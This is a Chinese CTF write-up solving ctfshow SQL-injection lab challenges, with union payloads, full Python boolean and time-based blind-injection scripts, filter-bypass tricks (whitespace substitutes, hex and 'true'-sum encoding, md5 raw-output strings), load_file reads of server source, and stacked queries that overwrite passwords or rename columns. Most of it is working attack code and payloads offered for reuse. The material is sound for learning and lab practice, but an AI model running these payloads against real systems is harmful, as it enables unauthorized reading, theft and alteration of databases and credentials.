重新来做一遍 争取不看wp
还是看了。。。。
ctfshow学习记录-web入门(sql注入191-200)-CSDN博客
CTFshow sql注入 上篇(web171-220)更新中 - 掘金
【精选】CTFshow-WEB入门-SQL注入(上)_having盲注_bfengj的博客-CSDN博客
ctfshow学习记录-web入门(sql注入191-200)-CSDN博客
拿到题目我们已经知道了是sql注入
所以我们可以直接开始

第一题 不会难道哪里去 所以我们直接进行注入即可
- 1' and 1=2-- +
- 1' and 1=1-- +
-
- 实现闭合
-
- -1'+union+select+1,2,3--+%2b 查看字段数
- -1'+union+select+1,database(),3--+%2b 查看数据库 ctfshow_web
-
- -1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b
- 查看表 ctfshow_user
- -1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user'--+%2b
-
- 查看字段名 id,username,password
-
- -1'+union+select+1,group_concat(id,username,password),3+from+ctfshow_user--+%2b
- 获取flag
- 这里是bp抓包的格式 不是在页面进行注入的格式

- 3' union select 2,3-- +
- 这题修改为两个字段
- 其他和上面无差别
- -1'+union+select+1,group_concat(id,username,password)+from+ctfshow_user2--+%2
-
- 获取flag
-

- 3' union select 2,database(),3-- +
- -1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b
-
- 查看表 ctfshow_user
-
- -1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user3'--+%2b
- 查看字段名 id,username,password
- -1' union select 1,group_concat(id,password),3 from ctfshow_user3-- +
-
- 获取flag
我们开始写盲注脚本
之前一直写错了 所以我们开始写
- import requests
-
- url = "http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id="
- # payload = "1' and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))={1})-- +"
- # payload = "1' and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{0},1))={1})-- +"
- payload = "1' and (ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user4 where username='flag'),{0},1))={1})-- +"
- result = ''
- flag = ''
- for i in range(1,50):
- for j in range(37,128):
- payload1 = payload.format(i,j)
- re = requests.get(url = url+payload1)
- # print(re.text)
- if "admin" in re.text:
- result += chr(j)
- print(result)
没有二分法真的很慢的啊。。。 我们研究一下咋写吧
- import requests
-
- url = "http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id="
- # payload = "1' and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))={1})-- +"
- # payload = "1' and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{0},1))={1})-- +"
- payload = "1' and (ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user4 where username='flag'),{0},1))>{1})-- +"
- result = ''
- flag = ''
- for i in range(1,50):
- high = 128
- low = 32
- mid = (high + low )//2
- while (high > low):
- payload1 = payload.format(i,mid)
- # print(payload1)
- re = requests.get(url = url+payload1)
- # print(re.text)
- if "admin" in re.text:
- low = mid+1
- else:
- high = mid
- mid = (high+low)//2
- if(chr(mid)==' '):
- break
- result +=chr(mid)
- print(result)
-
- # print(result)
起飞咯 确实快了巨多
其实思路很简单就是 如果回显正确 我们就跟进,将low设置为mid
其实就是
- 32 128 80
-
- 如果正确
-
- 80 128
然后一步一步进行缩小 如果错误 ,那么就说明太大了 我们就开始将 high设置为 mid的值 即80
然后需要重新设置mid的值
这里我们能够发现 啥回显都没有了 这里什么东西都没得 1 2 3 都没数据
那么这里如何注入呢 我们可以通过 sleep 进行时间盲注
我们先来了解一下 上面的布尔注入
1' and if(ascii(substr((select database()),1,1))>1,sleep(2),1)-- +
我们可以发现 时间盲注 其实就是在 if中增加了 sleep的值 让如果>1 就睡2秒 否则回显1
所以我们可以通过时间的计算来进行获取
- import requests
-
- import time
-
- url = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
- payload = "1' and if(ascii(substr((select database()),{0},1))={1},sleep(2),1)-- +"
- flag =''
- for i in range(1,50):
- for j in range(98,128):
- payload1 = payload.format(i,j)
- # print(payload1)
- start_time = time.time()
- re = requests.get(url = url+payload1)
- stop_time = time.time()
- sub_time = stop_time - start_time
- if sub_time > 1.8:
- flag += chr(j)
- print(flag)
- break
这里我们就实现了最简单的时间盲注脚本 然后我们可以开始写二分法的
其实这里的二分法 就是判断条件改为时间即可
- import requests
-
- import time
-
- url = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
- payload = "1' and if(ascii(substr((select database()),{0},1))>{1},sleep(2),1)-- +"
- flag =''
- for i in range(1,50):
- high = 128
- low = 32
- mid = (high+low)//2
- while (high>mid):
- payload1 = payload.format(i,mid)
- # print(payload1)
- start_time = time.time()
- re = requests.get(url = url+payload1)
- stop_time = time.time()
- sub_time = stop_time - start_time
- if sub_time > 1.8:
- low = mid+1
- else:
- high = mid
- mid = (high+low)//2
- if (chr(mid)==" "):
- break
- flag += chr(mid)
- print(flag)
这里我们能够发现 其实都没有怎么变化 只是判断条件改变了 所以其实二分法只需要学会一种即可
然后通过判断条件的改变 就可以写出二分法的时间注入
然后我们更新一下二分法时间注入
- import requests
-
- import time
-
- url = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
- # payload = "1' and if(ascii(substr((select database()),{0},1))>{1},sleep(2),1)-- +"
- # payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(2),1)-- +"
- # payload = "1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user5'),{0},1))>{1},sleep(2),1)-- +"
- payload = "1' and if(ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user5 where username='flag'),{0},1))>{1},sleep(2),1)-- +"
- flag =''
-
- for i in range(1,50):
- high = 128
- low = 32
- mid = (high+low)//2
- while (high>mid):
- payload1 = payload.format(i,mid)
- # print(payload1)
- start_time = time.time()
- re = requests.get(url = url+payload1)
- stop_time = time.time()
- sub_time = stop_time - start_time
- if sub_time > 1.8:
- low = mid+1
- else:
- high = mid
- mid = (high+low)//2
- if (chr(mid)==" "):
- break
- flag += chr(mid)
- print(flag)
发现不是那么南 只需要你会写盲注的二分法 然后通过修改判断条件即可
首先通过 order by 进行测试 可以发现是3个字段
但是通过union select 的时候就发现接口错误
说明过了waf
这里我们就可以开始对union select 进行测试了 最简单的测试就是 通过大小写绕过

发现成功回显 说明后端可能是通过正则对union select进行了过滤
所以我们可以猜测 后端可能是这种语句

只对字符串进行匹配 并且不对大小写进行过滤
所以我们就可以开始继续注入了
1' uNIon seLEct 1,group_concat(password),3 from ctfshow_user where username='flag'-- +

这里我们经过测试 可以发现空格被过滤了
所以这里我们可以通过
- %a0 %0a () %09 %0c %0d %0b
-
- 并且这里 -- + 不能使用 我们使用 # 但是这里我们需要url编码 就是 %23
然后我们就可以进行注入 了 这里也过滤了 union select 但是没有大小写
1'/**/Union/**/Select/**/1,2,group_concat(password)from/**/ctfshow_user/**/where/**/username='flag'%23
这里的waf我们猜测看可能是这样的

只过滤了 %20 所以我们可以使用其他的方式绕过
这里和上面一题只是过滤了 /**/所以可以使用上面其他方式进行
1'%0aUnion%0aSelect%0a1,2,group_concat(password)from%0actfshow_user%0awhere%0ausername='flag'%23

这里过滤也只是多加了内容

解释一下这里的正则

- \/ 这里是匹配 \
-
- \* 匹配 *
-
- 然后.*? 就是贪婪匹配 匹配 /*后的任何
-
- 然后匹配结尾
-
- \* 匹配后面的*
-
- \/ 匹配后面的/
-
- 这样我们就可以匹配到/**/
如果我们只想匹配/**/只需要修改正则即可
\/\*\*\/
这道题有个非预期吧 直接通过 1'||1%23就可以输出了

这题还是过滤了很多符号 然后我们需要通过 %0c来绕过
1'%0cUnion%0cSelect%0c1,2,group_concat(password)from%0cctfshow_user%0cwhere%0cusername='flag'%23

这里的过滤应该就是讲一些符号加入匹配了

首先通过url编码获取到值 然后进行匹配

发现过滤了 %23
这里我们只能使用闭合了 使用 or '1 即可
-1'%0cUnion%0cSelect%0c5,group_concat(password),3%0c%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%0cor'1'='0
web181 通过 and or 优先级获取flag开始回显waf了 过滤的有点多啊
- function waf($str){
- return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
- }
这里一时间没有思路看了wp发现 这里是可以通过 优先级进行绕过的
- and > or
-
- 所以and会先执行
-
-
- 1 and 0 ====0
-
-
- 但是 1 and 0 or 1 就会变为 0 or 1 =====1
-
- 所以我们可以根据这个特性绕过
所以这里我们可以通过
-1'||username='flag
来获取flag

一样的payload 直接打

失败了 过滤了flag 所以我们在之前爆破可以知道 id为 26
0'||id='26
看了文章 还有一个时间盲注的payload
- -1'or(id=26)and(if(ascii(mid(password,1,1))>1,sleep(2),1))and'1
-
- 来解释一下
-
-
- 0 or 1 and 1 and '1 ======1
- 0 or 1 and 0 and '1 ======0
-
-
- 这里就可以实现盲注 但是没有
-
- 但是在测试的 时候 发现
-
- -1'or(id=26)and(if(ascii(mid(password,1,1))>1,1,0))and'1 这个也可以直接爆出flag
-
- 这里要注意 if(表达式,1,0) 这里的1 是如果表达式真 就输出 1 否则输出 0
-
- 所以我们前面 >1 这个时候就可以输出flag
-
- 但是好多此一举啊 因为我们可以直接获取flag 何必盲注呢
但是使用二分法 也是很快就是了
这里说实在话 我刚刚进来 没看懂这道题目干嘛

POST 一个参数 用来查找返回的数量

返回的内容在这里
那我们要怎么实现注入呢 我们还是看看sql的语句
- $sql = "select count(pass) from ".$_POST['tableName'].";";
-
- 这里我们可以发现
-
- 正常 我们的查询是where 后面进行注入 但是这里没有where啊?
-
- 没有where ?
-
- 这里我们不就可控吗
-
-
- 首先通过前面 我们知道了表 是 ctfshow_user

发现回显了 所以这里是我们获取内容的地方
然后我们知道 这个语句中 不存在 where 那么我们写入where不就好了
- $sql = "select count(pass) from ".$_POST['tableName'].";";
-
- 修改
-
- select count(pass) from "ctfshow_user" where pass = ctf%";
-
- 这种语句是否可行呢
-
-
- 当然不可以 毕竟存在过滤 我们开始绕过 空格使用 括号
- return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
-
- = 使用 like
-
- (ctfshow_user)where(pass)like(ctf%)
-
-
- 这里ctf%是匹配ctf开头的内容 但是这里不行
-
- (ctfshow_user)where(pass)like'ctf%'
-
- 需要这样

payload出来了 那么这么繁琐的内容 肯定就交给脚本咯
- import string
-
- import requests
-
- url = "http://742f4f44-a736-424b-aa24-09424fc4210f.challenge.ctf.show/select-waf.php"
-
- payload = "(ctfshow_user)where(pass)like'ctfshow{0}"
- flag = ''
- for i in range(0,100):
- for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
- payload1= payload.format(flag+j)+"%'"
- data = {'tableName':payload1}
- re = requests.post(url=url,data=data)
- if "$user_count = 1;" in re.text:
- flag +=j
- print("ctfshow"+flag)
这里就可以获取到flag 是通过like的匹配这里
这里我们最好解读一下正则
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
首先就是过滤了很多符号防止绕过空格的过滤 其次过滤了 # 防止注释
or = select 也全部被过滤 并且增加了 /i 防止大小写绕过
首先解读正则
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i',
和上面差不多 并且过滤了 where union 单引号 双引号 内联 sleep
过滤更加严格了
但是放出了空格
我们如何读取内容呢
这里我们可以使用两个方式
regexp和like
这里我们先补充知识点
- $sql = "select count(*) from ".$_POST['tableName'].";";
-
- 这里我们可以看见前面使用了 count聚合函数
-
- 所以我们后面可以使用 group by having 这种用法
-
- group by 允许我们按照某个列进行分组
-
- having 允许对分组的数据再进行数据的筛选
-
- 所以我们可以使用
-
-
- group by pass having pass like ''
-
- 或者
-
- group by pass having pass regexp ''
但是这里有个问题 就是 单引号双引号被过滤了 我们无法实现
怎么办呢 我们可以转换为 hex 进行执行
这里为什么可以直接通过regexp然后调用16进制
我在本地测试的时候发现 需要通过
SELECT COUNT(*) FROM admin GROUP BY name HAVING HEX(name) LIKE '61%'
这种语句才可以通过十六进制查询 这里为什么可以我还不是很明白
我们可以开始写payload
ctfshow_user group by pass having pass like (0x63746673686f777b%)
然后我就了然了
这里语句是错误的 因为我们如果使用十六进制拼接% 会报错
所以我们将 % 也转变为hex 就是25
ctfshow_user group by pass having pass like (0x63746673686f777b25)
这个时候 就可以回显正确的值了
这个时候我们只需要通过编写脚本即可
- import requests
- import string
- url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"
-
- paylaod = "ctfshow_user group by pass having pass like 0x63746673686f777b{0}"
-
- uuid = string.ascii_lowercase+string.digits+"-{}"
- def str_to_hex(str):
- return ''.join([hex(ord(c)).replace('0x','') for c in str])
- flag =''
- for i in range(1,100):
- for j in uuid:
- payload1 = paylaod.format(str_to_hex(flag+j+'%'))
- data = {
- 'tableName':payload1
- }
- re = requests.post(url=url,data=data)
- if "$user_count = 1;" in re.text:
- flag+=j
- print("ctfshow{"+flag)
这里有一个问题就是需要25即 %来补充
那我们可不可以不需要25来代表后面还有内容呢
regexp即可
- ctfshow_user group by pass having pass like (0x63746673686f777b25)
-
- 这里的代码 我们修改为
-
- ctfshow_user group by pass having pass regexp(0x63746673686f777b)
-
- 即可
那我们就再修改一下脚本看看能不能实现
- import requests
- import string
- url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"
-
- paylaod = "ctfshow_user group by pass having pass regexp(0x63746673686f777b{0}"
-
- uuid = string.ascii_lowercase+string.digits+"-{}"
- def str_to_hex(str):
- return ''.join([hex(ord(c)).replace('0x','') for c in str])
- flag =''
- for i in range(1,100):
- for j in uuid:
- payload1 = paylaod.format(str_to_hex(flag+j))+")"
- # print(payload1)
- data = {
- 'tableName':payload1
- }
- re = requests.post(url=url,data=data)
- if "$user_count = 1;" in re.text:
- flag+=j
- print("ctfshow{"+flag)
发现依旧获取了flag
然后这里我好像看wp的时候还发现了一种方式
这里是对where 过滤 提供了新的思路
这道题目最难受的地方其实就是where被过滤了 我们只要绕过这个就可以了
这里我们可以通过INNER join on 来代替where
内连接
ctfshow_user a inner join ctfshow_user b on b.pass like (0x...)
这里其实就是
这个讲的很清楚了 我们这里就是为了通过代替where 然后返回数值
简单来说就是两个表 当内连接后 将on后面条件符合的内容返回
所以这里我们修改也可以跑出来
这里需要注意修改
$user_count = 22;
然后我们就可以获取到flag了
- import requests
- import string
- url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"
-
- paylaod = "ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
-
- uuid = string.ascii_lowercase+string.digits+"-{}"
- def str_to_hex(str):
- return ''.join([hex(ord(c)).replace('0x','') for c in str])
- flag =''
- for i in range(1,100):
- for j in uuid:
- payload1 = paylaod.format(str_to_hex(flag+j+'%'))
- # print(payload1)
- data = {
- 'tableName':payload1
- }
- re = requests.post(url=url,data=data)
- if "$user_count = 22;" in re.text:
- flag+=j
- print("ctfshow{"+flag)
- break
依旧 查看一下过滤内容
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
这里好像没啥差别 空格也没有过滤 但是这里有个问题 过滤了数字
这里我就不会了
首先我们记录一下 mysql中函数可以获取的数字

首先我们来了解一下 true

所以我们可以通过True的相加获取数字
我们这里的内容是通过上面的十六进制脚本获取的
然后我们可以通过

来获取十六进制
所以我们开始编写脚本

从这里我们就可以看出来 是通过True来作为数字
- def createNum(s):
- num = 'true'
- if s == 1:
- return 'true'
- else:
- for i in range(s-1):
- num +='+true'
- return num
-
- def createStrNum(n):
- str=''
- str+="chr("+createNum(ord(n[0]))+")"
- for i in n[1:]:
- str += ",chr(" + createNum(ord(i)) + ")"
- return str

我们来解释一下
- def createNum(s):
- num = 'true' 首先这里是把数字定义为true
- if s == 1: 如果只是1 那么就返回一个true
- return 'true'
- else:
- for i in range(s-1): 否则就返回 s个true
- num +='+true' 这里看似是s-1 但是这里是 num+= 所以还是s个
- return num
-
- def createStrNum(n):
- str=''
- str+="chr("+createNum(ord(n[0]))+")" 这里更简单了 其实就是输出一个字符串罢了
- 首先将 第一个字符转为true格式 然后再加上chr 即可
- for i in n[1:]:
- str += ",chr(" + createNum(ord(i)) + ")"
- 这里就是除了第一个后面 也按照这种格式进行 但是这里需要通过,
- return str
-
-
- 给出个例子大家就明白了
-
- 我们现在输入一个 3
-
- 其本身的ascii值为51
-
- 然后通过 createNum 获取到 51个 true
-
- 然后放入 createStrNum中
-
- 就变为了 chr(true+true+.....+true)
这里我们就可以绕过数字过滤了
这里我们要注意 我们在payload 中需要加上 concat 将其chr后组合为一个字符串

发现 组合为一起了 这样子 我们才可以构成 0x6164 这种
- import string
-
- import requests
-
- url = 'http://6ec04948-9cb4-4ed1-9cc8-d72f9ab75d93.challenge.ctf.show/select-waf.php'
-
- payload = 'ctfshow_user group by pass having pass like(concat({}))'
-
- flag ='ctfshow{'
-
- def createNum(n):
- num = 'true'
- if n == 1:
- return 'true'
- else:
- for i in range(n-1):
- num+="+true"
- return num
-
- def createStrNum(c):
- str=''
- str += 'chr('+createNum(ord(c[0]))+')'
- for i in c[1:]:
- str +=',chr(' + createNum(ord(i)) + ')'
- return str
-
- uuid = string.ascii_lowercase + string.digits + "-{}"
-
- for i in range(1,50):
- for j in uuid:
- payload1 =payload.format(createStrNum(flag+j+"%"))
- # print(payload1)
- data = {
- 'tableName':payload1
- }
- re = requests.post(url=url,data=data)
- if "$user_count = 0;" not in re.text:
- flag += j
- print(flag)
- if j == '}':
- exit()
- break
这个题目确实南 需要好好看
发现过滤了无关紧要的东西 我们上一题的payload直接打就行了
- import string
-
- import requests
-
- url = 'http://1ca9c268-b33b-48d1-9f3a-1d8c9b507696.challenge.ctf.show/select-waf.php'
-
- payload = 'ctfshow_user group by pass having pass like(concat({}))'
-
- flag ='ctfshow{'
-
- def createNum(n):
- num = 'true'
- if n == 1:
- return 'true'
- else:
- for i in range(n-1):
- num+="+true"
- return num
-
- def createStrNum(c):
- str=''
- str += 'chr('+createNum(ord(c[0]))+')'
- for i in c[1:]:
- str +=',chr(' + createNum(ord(i)) + ')'
- return str
-
- uuid = string.ascii_lowercase + string.digits + "-{}"
-
- for i in range(1,50):
- for j in uuid:
- payload1 =payload.format(createStrNum(flag+j+"%"))
- # print(payload1)
- data = {
- 'tableName':payload1
- }
- re = requests.post(url=url,data=data)
- if "$user_count = 0;" not in re.text:
- flag += j
- print(flag)
- if j == '}':
- exit()
- break
看到md5我们就可以将sql注入和md5的特殊字符串联系起来
- content: ffifdyop
- hex: 276f722736c95d99e921722cf9ed621c
- raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
- string: 'or'6]!r,b
执行查看回显即可

这里我确实没看懂
但是看了wp 恍然大悟
$sql = "select pass from ctfshow_user where username = {$username}";
这个是我们的查询语句 变量直接放在 sql语句中 所以我们可以进行构造
这里有一个最简单的就是万能密码
- $sql = "select pass from ctfshow_user where username = {$username}";
-
- 变为
-
- $sql = "select pass from ctfshow_user where username = 1||1";
那么就可以登入成功了
这里还有一个方式 username=0
这个时候 会返回所有的内容

为什么呢 因为 name一般都是字符
在mysql中
字符和数字进行比较 会将字符变为 0 开头的
所以就可以比对成功
然后我们需要绕过密码
- //密码判断
- if($row['pass']==intval($password)){
- $ret['msg']='登陆成功';
- array_push($ret['data'], array('flag'=>$flag));
- }
这里其实也是一样的 如果pass 是字符 那么就返回0 所以password=0 就可以登入成功
所以这里有两个payload
- username=1||1&password=0
-
- username=0&password=0


这里我们先学习一下 mysql读取文件的方式
我们可以通过 load_file实现
- MariaDB [test]> select load_file('/mnt/c/Users/Administrator/Desktop/1.txt');
- +-------------------------------------------------------+
- | load_file('/mnt/c/Users/Administrator/Desktop/1.txt') |
- +-------------------------------------------------------+
- | aaa |
- +-------------------------------------------------------+
这里我们发现 可以读取 那么如何配合盲注呢
这里我们首先介绍一下 我们可以通过正则来匹配
这里我们来进行实验

表中存在2个数据

1.txt的内容为 aaa
我们如何通过读取呢
我们使用if
if((load_file('/mnt/c/Users/Administrator/Desktop/1.txt'))regexp(""),0,1)
这里其实就是通过读取文件内容 然后经过正则匹配 如果是这些 就返回 1 否则返回 0
然后我们就可以在 regexp 后面进行输入内容 这里是aaa
select count(*) from user where name = if((load_file('/mnt/c/Users/Administrator/Desktop/1.txt'))regexp('aa'),0,1);

发现识别到 是 aa 所以返回 1 这样我们就可以返回count(*)
我们试试看错误的
select count(*) from user where name = if((load_file('/mnt/c/Users/Administrator/Desktop/1.txt'))regexp('aab'),0,1);

发现错误 所以返回0 所以不会执行前面的 count(*)
这样我们就可以实现盲注了
这里我们就可以开始写脚本了
到这题 其实就是 1 的话就出现 查询错误 0 就出现密码错误
然后我们就可以根据这个来写
password 还是 0
根据 上一题的 弱比较
- import string
-
- import requests
-
- url = "http://1f66dd86-549d-4dd2-be19-9b90b21b11e0.challenge.ctf.show/api/"
- payload = """if((load_file("/var/www/html/api/index.php"))regexp("{0}"),0,1)"""
-
- uuid = string.ascii_lowercase+ string.digits + "-{}"
- flag = "ctfshow{"
- for i in range(1,100):
- for j in uuid:
- payload1=payload.format(flag+j)
- data ={
- 'username':payload1,
- 'password':0
- }
- re = requests.post(url=url,data=data)
- # print(re.text)
- # print(payload1)
- if r"""{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}""" in re.text:
- flag +=j
- print(flag)
- if j == "}":
- exit()
- break
最终实现了注入
啥都没过滤的布尔盲注
- import string
-
- import requests
-
- url = "http://eb03d743-6ff1-4788-8972-29b7e88b2e52.challenge.ctf.show/api/"
- # payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""
- # payload = "admin' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},1,0)-- +"
- # payload = "admin' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"
- # flag = "ctfshow{"
- payload = "admin' and if(ascii(substr((select group_concat(id,'---',f1ag)from ctfshow_fl0g),{0},1))>{1},1,0)-- +"
- flag = ''
- for i in range(1,100):
- high = 128
- low = 32
- mid =(high+low)//2
- while (high>low):
- payload1=payload.format(i,mid)
- # print(payload1)
- data ={
- 'username':payload1,
- 'password':0
- }
- re = requests.post(url=url,data=data)
- # print(re.text)
- # print(payload1)
- if r"""{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}""" in re.text:
- low = mid + 1
- else:
- high = mid
- mid = (high+low)//2
- if chr(mid) == " ":
- break
- flag += chr(mid)
- print(flag)
- if chr(mid) == '}':
- exit()
- if(preg_match('/file|into|ascii/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
出现过滤了 这里过滤了 ascii 我们看看怎么搞
其实这里换个payload即可
admin' and if(substr((select database()),1,1)='c',0,1)
这里即可
但是这里有个bug 就是_会被识别为{
- import requests
-
- url = "http://36a0d4e4-0612-48f3-9a51-e5b0b2b598ce.challenge.ctf.show/api/"
-
- # payload = "admin' and if(substr((select database()),{0},1)>'{1}',0,1)-- +"
- # payload = "admin' and if(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1)>'{1}',0,1)-- +"
- # payload = "admin' and if(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1)>'{1}',0,1)-- +"
- payload = "admin' and if(substr((select group_concat(id,'---',f1ag)from ctfshow_fl0g),{0},1)>'{1}',0,1)-- +"
- flag =''
- for i in range(1,100):
- high = 128
- low =32
- mid = (high+low)//2
- while(high>low):
- payload1= payload.format(i,chr(mid))
- # print(payload1)
- data ={
- 'username':payload1,
- 'password':0
- }
- re = requests.post(url =url ,data = data)
- # print(re.text)
- if r"\u7528\u6237\u540d\u4e0d\u5b58\u5728" in re.text:
- low = mid + 1
- else:
- high = mid
- mid = (high+low)//2
- if chr(mid)== " ":
- break
- flag+=chr(mid)
- # print(flag.lower().replace('{','_'))
- print(flag.lower())
- if chr(mid) == "}":
- exit()
又增加了 过滤
- //TODO:感觉少了个啥,奇怪
- if(preg_match('/file|into|ascii|ord|hex/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
好像对我这个没啥影响 继续打就行了
- if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
过滤了 substr 可以使用mid代替
- import requests
-
- url = "http://5cfc18ff-19cb-48d1-942e-bc8c1c930634.challenge.ctf.show/api/"
-
- # payload = "admin' and if(mid((select database()),{0},1)>'{1}',0,1)-- +"
- # payload = "admin' and if(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1)>'{1}',0,1)-- +"
- # payload = "admin' and if(mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg'),{0},1)>'{1}',0,1)-- +"
- payload = "admin' and if(mid((select group_concat(id,'---',f1ag)from ctfshow_flxg),{0},1)>'{1}',0,1)-- +"
- flag =''
- for i in range(1,100):
- high = 128
- low =32
- mid = (high+low)//2
- while(high>low):
- payload1= payload.format(i,chr(mid))
- # print(payload1)
- data ={
- 'username':payload1,
- 'password':0
- }
- re = requests.post(url =url ,data = data)
- # print(re.text)
- if r"\u7528\u6237\u540d\u4e0d\u5b58\u5728" in re.text:
- low = mid + 1
- else:
- high = mid
- mid = (high+low)//2
- if chr(mid)== " ":
- break
- flag+=chr(mid)
- # print(flag.lower().replace('{','_'))
- print(flag.lower())
- if chr(mid) == "}":
- exit()
- //TODO:感觉少了个啥,奇怪
- if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
? 好像还是可以继续 直接用上面的payload
这里我们首先来看看过滤内容
- if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
能发现 select 这些都被过滤了 空格也没了 但是没过滤 ` ;
所以可以考虑是否存在堆叠注入
过滤空格我们使用``绕过
我们先来看看数据库存在什么内容
- if($row[0]==$password){
- $ret['msg']="登陆成功 flag is $flag";
- }
这提示我们需要登入 然后就给flag 我们现在其实知道账号的 admin
然后我们这里需要通过 更新密码可以实现注入
本地测试
select count(*) from user where name=admin;update`user`set`passwd`=0x313131;
然后我们去看看数据库

发现密码全部被修改为了 111 因为我们通过 update`表`set`字段`=密码
来修改了 所以内联注入可怕就是在 你可以和在本地执行sql一样进行任意操作(没被过滤)
所以我们到这道题就可以进行了
admin;update`ctfshow_user`set`pass`=222;

但是出现问题了 这里无法成功登入 为什么呢
我们来看看查询语句
$sql = "select pass from ctfshow_user where username = {$username};";
发现这里username没有被引号包裹 就类似于

所以无法实现读取 我们只需要转变为 hex 然后数据库就会自动识别并且转为字符串 所以我们把admin变为 0x61646d696e
然后我们再试试看

成功查询
然后我们就可以开始了

payload是
0x61646d696e;update`ctfshow_user`set`pass`=222;
一样查看过滤
-
- //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
- if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
好像还是没有过滤我们的东西
但是这里设置了
- if(strlen($username)>16){
- $ret['msg']='用户名不能超过16个字符';
- die(json_encode($ret));
- }
不能超过16个 然后又要进行登入
这里就不会了
然后看了wp 说是出现了题目出错 这里其实不是过滤select 只是写个 se1ect 但是写错了 也没加上过滤
所以这里我们如何实现呢
我们继续测试
select * from test where name = 'admin';select 9;

发现返回的是9 所以我们可以通过这个逻辑进行登入
首先就是select 9 让pass 认为我们的密码是9
然后在pass中输入9 即可登入成功

继续 查看过滤
- if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
这里过滤了但是用户名可以很长
这里我也不会 但是看了wp 我发现这的题目其实就一个核心
你查询的东西 需要能返回你想要得值
例如 select 9 和 pass=9 这样我们就可以获取到flag
我们在数据库中 经常进入后会使用 show database; 这种指令

这里正好 空格也放出来了 所以我们就可以使用这种方法登入
- username = 1;show tables;
- password = ctfshow_user

-
- //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
- if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
- $ret['msg']='用户名非法';
- die(json_encode($ret));
- }
空格没被过滤
上一题payload继续打
然后这里在翻阅wp的时候发现了还有一种很新奇的方法
通过转变字段实现
这里使用的语句是
alter table ctfshow_user change column `pass` `ppp` varchar(255)
这里是一种修改字段值的方式 我们本地测试一下
首先我们记住原本的模样

